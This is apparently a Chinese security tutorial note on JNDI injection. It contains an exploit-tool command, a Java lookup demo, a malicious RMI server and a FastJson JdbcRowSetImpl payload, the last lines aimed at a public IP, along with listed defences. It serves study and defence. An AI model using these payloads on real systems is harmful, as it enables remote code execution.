8.JNDI注入

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A xx.xx.xx.xx

import javax.naming.InitialContext;  
import javax.naming.NamingException;  
import java.lang.reflect.Method;  
  
/**  
 * JNDI注入演示类  
 * 安全风险：该代码演示了JNDI注入漏洞，仅用于安全测试，不要在生产环境使用  
 */  
public class JndiDemo {  
    public static void main(String[] args) throws NamingException, ClassNotFoundException, NoSuchMethodException {  
        // ===================== 第一部分：直接JNDI注入 =====================        // 安全风险：这里直接使用JNDI lookup，如果URL可控，攻击者可以指向恶意RMI服务器  
        InitialContext var1 = new InitialContext();  
        var1.lookup("rmi://127.0.0.1:7778/RCE");  
  
        // ===================== 第二部分：FastJson JNDI注入 =====================        // FastJson反序列化JNDI注入payload  
        // 安全风险：攻击者可以通过构造特定JSON，实现远程代码执行  
        // 影响版本：FastJson < 1.2.48  
        String payload = "{" +  
                "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +  // 指定危险类  
                "\"dataSourceName\":\"rmi://192.168.1.2:1099/qdw686\", " +  // JNDI lookup URL  
                "\"autoCommit\":true" +  // 触发connect()方法  
                "}";  
          
        // ===================== 第三部分：反射调用分析 =====================        // 安全风险：通过反射可以调用JdbcRowSetImpl类的方法  
        // 这里演示了如何获取setDataSourceName方法，该方法在JNDI注入中起关键作用  
        Class<?> aClass = Class.forName("com.sun.rowset.JdbcRowSetImpl");  
        Method setDataSourceName = aClass.getDeclaredMethod("setDataSourceName", String.class);  
        System.out.println(setDataSourceName);  
  
        /*   
* 防御措施：  
         * 1. 升级FastJson到安全版本  
         * 2. 禁用自动类型解析：ParserConfig.getGlobalInstance().setAutoTypeSupport(false)  
         * 3. 设置反序列化白名单  
         * 4. 禁用JNDI远程加载：-Dcom.sun.jndi.rmi.object.trustURLCodebase=false  
         * 5. 过滤RMI/LDAP协议URL  
         * 6. 使用更安全的JSON库如Jackson  
         */    }  
}

/**
 * JNDI RMI服务器
 * 安全风险：该服务器可用于JNDI注入测试，仅用于安全研究
 */
public class JndiServer {
    public static void main(String[] args) throws Exception {
        // 创建RMI注册表，监听7778端口
        // 安全风险：暴露的RMI服务可能被攻击者利用
        Registry registry = LocateRegistry.createRegistry(7778);

        // 创建一个Reference，指向远程代码
        // 安全风险：这里的URL如果指向攻击者控制的服务器，可加载恶意类
        Reference reference = new Reference("Test", "Test", "http://127.0.0.1:8089/");
        
        // 将Reference包装为RMI对象
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        
        // 绑定RMI对象到注册表
        // 当客户端查找"RCE"时，将返回这个Reference对象
        registry.bind("RCE", wrapper);

        /* 
         * 安全建议：
         * 1. 生产环境禁止暴露RMI服务
         * 2. 如必须使用RMI，限制可访问的IP
         * 3. 使用安全的认证机制
         * 4. 监控异常的RMI连接
         */
    }
}

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 47.94.236.117

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://47.94.236.117:1099/vwaexx","autoCommit":true}